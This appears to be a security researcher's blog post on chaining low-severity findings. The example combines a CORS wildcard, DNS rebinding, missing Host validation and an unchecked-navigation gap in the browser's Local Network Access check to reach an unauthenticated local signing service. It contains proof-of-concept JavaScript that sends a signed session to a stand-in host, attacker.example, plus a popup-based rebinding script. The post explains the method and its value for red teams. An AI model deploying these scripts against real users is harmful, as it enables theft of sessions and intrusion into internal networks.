Post

The art of chaining vulnerabilities

How a low-severity vulnerability can become critical when chained in the right context.

The art of chaining vulnerabilities

As pentesters, security researchers, or anyone else working in security, we tend to treat vulnerabilities as isolated problems and think inside the box. Yet a low-severity finding we have seen a hundred times before, one that never had any real impact, can suddenly become critical when it is placed in the right context or looked at from a different angle.

In my opinion, there are two ways to chain vulnerabilities.

  1. The first is chaining vulnerabilities you already know about. For example, during an assessment you find two separate vulnerabilities that, combined, lead to a higher impact or a more likely attack.

  2. The second starts with a single vulnerability that is not worth much on its own, because it has no real impact or is unlikely to be exploited. Instead of accepting that, you go looking for something to chain it with that turns it into a real issue.

The difference is clear: in the first case you already have both vulnerabilities and simply connect them. In the second, you refuse to accept the vulnerability’s current severity and actively search for any way to get the most out of it.

What makes that possible is that severity is not really a property of a vulnerability. It is a property of a vulnerability plus everything you assume about where it lives: who can reach it, what an attacker needs before it matters, what is supposedly stopping them. Those assumptions are rarely written down and even more rarely challenged, which is exactly why they are worth going after. Change them and the rating moves, sometimes a long way.

This second way of chaining is one of the most important things I have learned, and I think it is where you can really stand out as a security professional.

Chain example

To get a better idea what I mean, here I will give a example of a recent set of lower severity vulnerabilities which I chained to a high risk one.

Initial vulnerability: No authentication on local service

The chain starts off with a web application only accessible from a user’s private network or even localhost. While I cannot go into detail about the actual context of the web application, I will only mention that from here the web application made a connection to a background component with an API endpoint that signed any session without authentication.

flowchart LR
    subgraph local["Private network / localhost"]
        UI["Web app UI"] -- "Sign session request<br/>(no authentication)" --> API["Sign API<br/>(background component)"]
        API -- "Signed session" --> UI
    end

Yet, this was implemented by design because the signing flow needed to be automatic because of the number of sign requests coming in, so user authentication was not feasible. And if implemented correctly as it should, this sign flow is not exposed to an malcicious actor, at least not directly.

Till now we only have a low/medium severity vulnerability. The risk is that the host of the user that can access this application is infected and a malicious user can sign any session. The probability for this is low. But what if we can exploit it from the internet? Can a malicious page on the internet interact with the local service to sign a session?

First attempt: CORS wildcard

The web UI allowed any website to make cross-origin requests e.g. access-control-allow-origin: *. With this “misconfiguration” we now have the option to make requests from a malicious origin (our attacker website). Lets try it out!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<body>
  <script>
    fetch("http://internal-sign-service/api/sign", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ session: "attacker-controlled-session" })
    })
      .then(r => r.text())
      .then(signed => {
        // ACAO: * lets us read the response, so send the signed session to our server
        fetch("https://attacker.example/collect", { method: "POST", body: signed });
      });
  </script>
</body>
</html>

While trying this out from a webpage on the internet, the victim receives the following browser pop-up:

A browser built-in protection, Local Network Access (LNA) fires. While a busy user could just click Allow exploitation is far less likely.

This is the point where the CORS wildcard gets written up as a low severity finding and the story ends. So let’s look at what LNA actually checks.

Understanding LNA

So what is LNA? Since recently, browsers sort every destination a website sends a request to into an address space: the public internet, the private (local) network, such as the RFC1918 range 192.168.0.0/16, and loopback (127.0.0.0/8 and ::1). When a website on the public internet tries to reach a private or loopback address, the user first has to grant that site permission through the pop-up above. LNA replaces Chrome’s earlier Private Network Access (PNA) effort and targets exactly this type of attack: a malicious website using the victim’s browser as a stepping stone into their internal network.

flowchart LR
    subgraph pub["Public network (internet)"]
        Attacker["attacker.example<br/>(exploit.html)"]
        Other["Other public website"]
    end
    subgraph priv["Private network (e.g. 192.168.0.0/16)"]
        Sign["internal-sign-service:8080"]
    end
    subgraph loop["Loopback (127.0.0.1, ::1)"]
        Local["localhost service"]
    end
    Attacker -- "No prompt" --> Other
    Attacker -- "LNA permission prompt" --> Sign
    Attacker -- "LNA permission prompt" --> Local

So how do we get past this prompt? By combining an old technique, DNS rebinding, with a navigation trick.

Second vulnerability: the service accepts any Host header

The browser’s same-origin policy compares origins by scheme, hostname and port, not by IP address. DNS rebinding abuses exactly that:

  1. We register a domain, for example attacker.example, and point it to our own server with a very short TTL.
  2. The victim visits http://attacker.example (same port as the sign service, because the port is part of the origin) and loads our JavaScript.
  3. We change the DNS record to the internal IP address of the sign service.
  4. Once the browser’s DNS cache expires (around 60 seconds), the next request to attacker.example no longer lands on our server, but on the internal sign service.

To the browser this is still the same origin, so our script can read the responses freely. Notice what that does to the CORS wildcard: it bought us the right to read a cross-origin response, and after the rebind there is no cross-origin request left to read. It drops out of the chain entirely. What we do need instead is for the internal service to accept requests with our domain in the Host header, which this service did. That missing Host validation, not the CORS header, is what carries this part of the chain.

Third vulnerability: LNA does not check navigations

LNA was designed with DNS rebinding in mind: even a same-origin fetch() is blocked when the IP address it resolves to is in a more local address space than the page that sent it. So a classic rebinding attack with fetch() no longer works.

Navigations, however, are not checked by LNA. So instead of fetch(), we rebind through a navigation and read the result through a window reference that has the same origin:

  1. When the victim clicks anywhere on our page, we open a tiny popup off-screen on our own origin (/). Browsers only allow popups after a user action, hence the click.
  2. We keep fetching / every 2 seconds. While the DNS record still points to our server, this succeeds. As soon as the DNS rebinds, LNA blocks the fetch and throws an error, and that error tells us the rebind worked.
  3. We navigate the popup to / again. This top-level navigation is not guarded by LNA, so the popup now loads the internal service.
  4. As far as the browser knows, the popup is still on our origin, so we read its content directly through w.document.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<p id="msg">Click once</p>
<script>
  if (name === "popup") msg.innerText = "Wait ~60s...";
  onclick = async () => {
    onclick = null;
    w = window.open("/", "popup", "width=1,height=1,top=9999,left=9999");

    msg.innerText = "Wait ~60s...";
    while (true) {
      try {
        const text = await fetch("/", { cache: "reload" }).then(r => r.text());
      } catch (e) {
        break;
      }
      await new Promise(r => setTimeout(r, 2000));
    }
    msg.innerText = "Rebind successful! Check console";

    w.location = "/"; 
    setTimeout(() => {
      console.log(w.document.documentElement.outerHTML);  // same-origin read
    }, 2000);
  }
</script>

Instead of a permission prompt that might make the victim suspicious, all we need is a single click anywhere on our page. How to get a click you ask? Easy:

We only need to place something on our website that makes the user not close it for 60 seconds, like a interesting blog post or game.

The full chain

Putting it together, the full attack looks like this:

sequenceDiagram
    autonumber
    participant AT as Attacker<br/>(site + DNS)
    participant P as Opener tab
    participant W as Popup
    participant S as Sign service<br/>(private IP)

    P->>AT: GET / (bait page)
    AT-->>P: rebind.html (DNS TTL 1s)
    P->>W: One click, then window.open("/")
    Note over AT: Rebind: A record now<br/>points to the private IP
    loop Until the DNS cache expires (~60s)
        P->>AT: fetch("/")
        AT-->>P: 200 OK
    end
    P--xS: fetch("/") blocked by LNA
    Note over P: The block means<br/>the rebind landed
    P->>W: w.location = "/"
    W->>S: Navigation, not checked by LNA
    S-->>W: Internal app, same origin
    Note over W: Now a private-space<br/>document
    P->>W: Inject script via w.document
    W->>S: POST /api/sign
    S-->>W: Signed session, no auth
    W->>AT: Exfil the signed session

Note that the signing request has to be fired from inside the popup. The opener is still a public address space document, so its requests to the internal IP keep hitting LNA, which is exactly what we used as our rebind signal. The popup was served from the internal IP itself, so for the browser it is a local to local request and no prompt appears.

The idea behind it

This chain is the second kind I described at the start, so it is worth spelling out the thinking, because the technical steps are the least interesting part of it.

We could have stopped at the first finding. The sign service runs on the user’s own machine, it has no authentication, and that is by design. To reach it you already need code running on that host, and if an attacker has that, a signed session is probably not the worst of the victim’s problems. Low severity, accepted risk, on to the next finding. That conclusion is not wrong either. It follows cleanly from the assumptions.

But that is exactly the point: it follows from the assumptions. “Not reachable from the internet” was never a property of the service, it was something we assumed about the context it runs in. And an assumption is something you can go after.

So instead of writing the finding up, we asked what would have to be true for it to be reachable. The CORS wildcard answered that: any page could talk to it. Then LNA answered back, and that prompt was a perfectly good second place to stop. Requires user interaction, the victim has to click Allow, unlikely to happen. Same shape of conclusion, same comfortable exit. So we asked the same question one more time: what does LNA actually check? Subresources, not navigations. From there the rest followed.

Notice that the CORS wildcard is not in the final chain at all. After the rebind there is no cross-origin request left for it to allow. It was never a link, it was the thing that moved the question from “can anything out there reach this service” to “what exactly is stopping it”, and that turned out to be worth more than the header itself.

Which is the point I opened with. The same unauthenticated endpoint that is informational on a developer’s laptop becomes critical the moment any website the user visits can reach it. Nothing about the endpoint changed, only what we were willing to assume about it.

That gives a fairly practical habit. Whenever you catch yourself writing “low severity because …”, read back what comes after the because. That clause is your next research target. Requires local access. Requires user interaction. Not exposed to the internet. Works as designed. Every one of them is a precondition, and preconditions are the things an attacker works to remove.

I called this an art on purpose, because none of it reduces to a procedure. No scanner reports a chain, and no methodology tells you which assumption is the soft one. Most of the assumptions you poke at hold up perfectly well, and the hours you spend on those are simply gone. The skill is in picking which one is worth a day of your life, and just as much in knowing when to stop, because refusing to accept a severity can turn into a week with nothing to show for it. The other half of it is breadth. The navigation gap that made this chain work is not a fact about the application at all, it came from browser research I happened to have read. Two people can hold the exact same three findings and only one of them sees a chain, and that difference is experience, taste and a bit of stubbornness rather than any technique I could write down for you.

Taking it one step further

On a red team this chain is worth more than the finding is. The usual route to a session is Evilginx in front of Entra ID: a lookalike domain, a cloned login page, a proxied sign-in and a stolen token. Every part of that is something defenders already watch for.

This chain asks for none of it. There is no login page, so there is nothing for the user to inspect. There is no lookalike domain either, because the site never has to impersonate anyone, it only has to be interesting for a minute. And since no credentials are involved anywhere, the whole authentication stack sits outside the path: MFA, FIDO2, conditional access, token protection. We are not beating authentication, we are using a service that never asked for it. Nothing anomalous reaches the identity provider either, because nothing reaches it at all.

The trade-off is that it is narrow. It only works on people running this one application, and only while they keep the tab open. But on a red team you usually know what your target runs, and a visitor without the service just sees a blog post, so the lure costs nothing to send wide.

This post is licensed under CC BY 4.0 by the author.